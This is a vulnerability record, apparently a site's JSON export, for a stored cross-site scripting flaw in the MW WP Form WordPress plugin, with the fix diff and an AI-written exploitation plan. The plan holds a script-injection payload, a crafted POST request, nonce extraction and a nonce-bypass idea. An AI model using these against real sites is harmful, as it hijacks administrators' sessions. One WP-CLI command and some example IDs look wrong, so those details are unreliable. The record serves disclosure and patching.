[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGUBkFy04hJbkqUHxNiBoUki2AfX74VbaOoqMYmrogKc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-48871","mw-wp-form-unauthenticated-stored-cross-site-scripting","MW WP Form \u003C= 5.1.3 - Unauthenticated Stored Cross-Site Scripting","The MW WP Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","mw-wp-form",null,"\u003C=5.1.3","5.1.4","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-01 00:00:00","2026-06-08 14:52:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2783f62a-3b9a-45e1-8e90-121732dc17ec?source=api-prod",8,[22,23,24],"mw-wp-form.php","readme.txt","templates\u002Fcontact-data\u002Fdetail.php","researched",false,3,"This research plan outlines the exploitation of **CVE-2026-48871**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **MW WP Form** plugin.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the administrative \"Inquiry Data\" detail view. Specifically, the plugin fails to sanitize or escape the `memo` field when rendering it within a `\u003Ctextarea>` in the admin dashboard. While most form fields are escaped using `esc_html()`, the `memo` field is echoed directly. An unauthenticated attacker can submit a form containing a malicious `memo` value, which, when viewed by an administrator, executes arbitrary JavaScript.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Sink:** `templates\u002Fcontact-data\u002Fdetail.php` at line 80: `echo $contact_data_setting->get( 'memo' );`.\n*   **Vulnerable Endpoint:** Any public-facing page containing an `[mwform_formkey...]` shortcode.\n*   **Payload Parameter:** `mw-wp-form-data[memo]` (submitted via POST).\n*   **Authentication:** None required (Unauthenticated).\n*   **Precondition:** The target form must have the **\"Save inquiry data\"** setting enabled (this creates a Custom Post Type entry for every submission).\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user submits a POST request to a page containing an MW WP Form.\n2.  **Processing:** The `MW_WP_Form_Main_Controller` (initialized in `mw-wp-form.php` line 67) processes the submission.\n3.  **Storage:** If the form is configured to save data, the plugin creates a new post and saves the submitted data as post meta. Because the plugin does not strictly validate the keys in the `mw-wp-form-data` array against the form's defined fields, an attacker can inject the `memo` key.\n4.  **Admin Access:** An administrator navigates to **MW WP Form > Inquiry Data** and clicks \"Detail\" for the malicious submission.\n5.  **Sink:** The `MW_WP_Form_Contact_Data_Controller` loads `templates\u002Fcontact-data\u002Fdetail.php`.\n6.  **Execution:** Line 80 echoes the raw `memo` value into the `textarea`. If the value contains `\u003C\u002Ftextarea>\u003Cscript>...`, the script executes in the admin's session.\n\n### 4. Nonce Acquisition Strategy\nMW WP Form uses a CSRF protection mechanism involving a nonce and a session-based cookie. The nonce must be extracted from the rendered form on the front end.\n\n1.  **Identify Form Page:** Locate a page where the plugin's shortcode is active.\n2.  **Navigation:** Use the `browser_navigate` tool to load the page.\n3.  **Extraction:** Use `browser_eval` to extract the nonce value from the hidden input field.\n    *   **JavaScript:** `document.querySelector('input[name=\"mw-wp-form_nonce\"]').value`\n    *   **Variable Name:** The name attribute is derived from `MWF_Config::NAME` (which is `mw-wp-form`).\n\n### 5. Exploitation Strategy\n1.  **Setup:** Ensure a form exists with ID `123` and has \"Save inquiry data\" checked.\n2.  **Payload:** `\u003C\u002Ftextarea>\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n3.  **HTTP Request (via `http_request`):**\n    *   **URL:** `https:\u002F\u002Ftarget.local\u002Fform-page\u002F`\n    *   **Method:** `POST`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        mwform_form_id=123&\n        mw-wp-form_nonce=[EXTRACTED_NONCE]&\n        mw-wp-form-data[memo]=%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&\n        [OTHER_REQUIRED_FIELDS_BY_FORM]\n        ```\n4.  **Trigger:** Log in as Admin and visit: `https:\u002F\u002Ftarget.local\u002Fwp-admin\u002Fedit.php?post_type=mw-wp-form&page=mw-wp-form-save-data` -> Select Form -> View Detail.\n\n### 6. Test Data Setup\nBefore testing, the environment must be configured using WP-CLI:\n1.  **Create a Form:**\n    `wp post create --post_type=mw-wp-form --post_title=\"Contact Us\" --post_status=publish`\n    *(Note: Note the ID returned, e.g., 10)*\n2.  **Configure Form (Enable DB Saving):**\n    `wp post name-meta set 10 _save_data 1`\n3.  **Create a Public Page:**\n    `wp post create --post_type=page --post_title=\"Contact Page\" --post_content='[mwform_formkey key=\"mw-wp-form-10\"]' --post_status=publish`\n\n### 7. Expected Results\n*   The POST request should return a 200 OK or 302 Redirect (depending on the form's \"Complete Page\" setting).\n*   When the admin views the inquiry detail, a JavaScript alert box showing the document domain should appear, confirming the `\u003C\u002Ftextarea>` tag was successfully closed and the script executed.\n\n### 8. Verification Steps\nVerify the payload is stored in the database without being escaped:\n```bash\n# Replace 11 with the ID of the Inquiry post (Custom Post Type)\n# The post type for inquiry data is typically mwf-XXX where XXX is the form ID\nwp post list --post_type=mwf-10 --format=ids\nwp post get [INQUIRY_ID] --field=memo\n```\nThe output should contain the raw `\u003Cscript>` tag.\n\n### 9. Alternative Approaches\n*   **Attribute Injection:** If the `memo` field is filtered but other fields are not, check `templates\u002Fcontact-data\u002Fdetail.php` line 57: `MWF_Functions::get_multimedia_data( $values[ $key ] )`. If the file upload handling is weak, XSS might be possible via file names.\n*   **Bypass Nonce:** Check if the plugin processes the form even if the nonce is missing. Some versions of MW WP Form had logic that only verified the nonce if the `mw-wp-form_nonce` key was present in `$_POST`. Try omitting the nonce parameter entirely.","The MW WP Form plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the 'memo' field in form submissions. Due to insufficient output escaping in the administrative inquiry detail view, an attacker can inject malicious scripts that execute in the context of an administrator's session when the submission is viewed.","\u003C!-- templates\u002Fcontact-data\u002Fdetail.php lines 76-78 -->\n\t\u003Ctr>\n\t\t\u003Cth>\u003C?php esc_html_e( 'Memo', 'mw-wp-form' ); ?>\u003C\u002Fth>\n\t\t\u003Ctd>\u003Ctextarea name=\"\u003C?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]\" cols=\"50\" rows=\"5\">\u003C?php echo $contact_data_setting->get( 'memo' ); ?>\u003C\u002Ftextarea>\u003C\u002Ftd>\n\t\u003C\u002Ftr>","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmw-wp-form\u002F5.1.3\u002Ftemplates\u002Fcontact-data\u002Fdetail.php\t2023-09-20 02:47:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmw-wp-form\u002F5.1.4\u002Ftemplates\u002Fcontact-data\u002Fdetail.php\t2026-05-24 23:58:56.000000000 +0000\n@@ -74,6 +74,6 @@\n \t\u003C\u002Ftr>\n \t\u003Ctr>\n \t\t\u003Cth>\u003C?php esc_html_e( 'Memo', 'mw-wp-form' ); ?>\u003C\u002Fth>\n-\t\t\u003Ctd>\u003Ctextarea name=\"\u003C?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]\" cols=\"50\" rows=\"5\">\u003C?php echo $contact_data_setting->get( 'memo' ); ?>\u003C\u002Ftextarea>\u003C\u002Ftd>\n+\t\t\u003Ctd>\u003Ctextarea name=\"\u003C?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]\" cols=\"50\" rows=\"5\">\u003C?php echo esc_textarea( $contact_data_setting->get( 'memo' ) ); ?>\u003C\u002Ftextarea>\u003C\u002Ftd>\n \t\u003C\u002Ftr>\n \u003C\u002Ftable>","To exploit this vulnerability, an unauthenticated attacker first identifies a target site using MW WP Form with the 'Save inquiry data' feature enabled. The attacker navigates to the public form, extracts the required CSRF nonce (`mw-wp-form_nonce`) and the form ID (`mwform_form_id`) from the page source. They then craft a POST request to the form's processing endpoint, injecting a payload into the `mw-wp-form-data[memo]` parameter. A typical payload like `\u003C\u002Ftextarea>\u003Cscript>alert(1)\u003C\u002Fscript>` is used to break out of the textarea HTML element. When an administrator later logs into the WordPress dashboard and views the specific inquiry under 'Inquiry Data', the unsanitized memo field is rendered, triggering the stored JavaScript payload.","gemini-3-flash-preview","2026-06-26 06:23:26","2026-06-26 06:25:00",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","5.1.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmw-wp-form\u002Ftags\u002F5.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmw-wp-form.5.1.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmw-wp-form\u002Ftags\u002F5.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmw-wp-form.5.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmw-wp-form\u002Ftags"]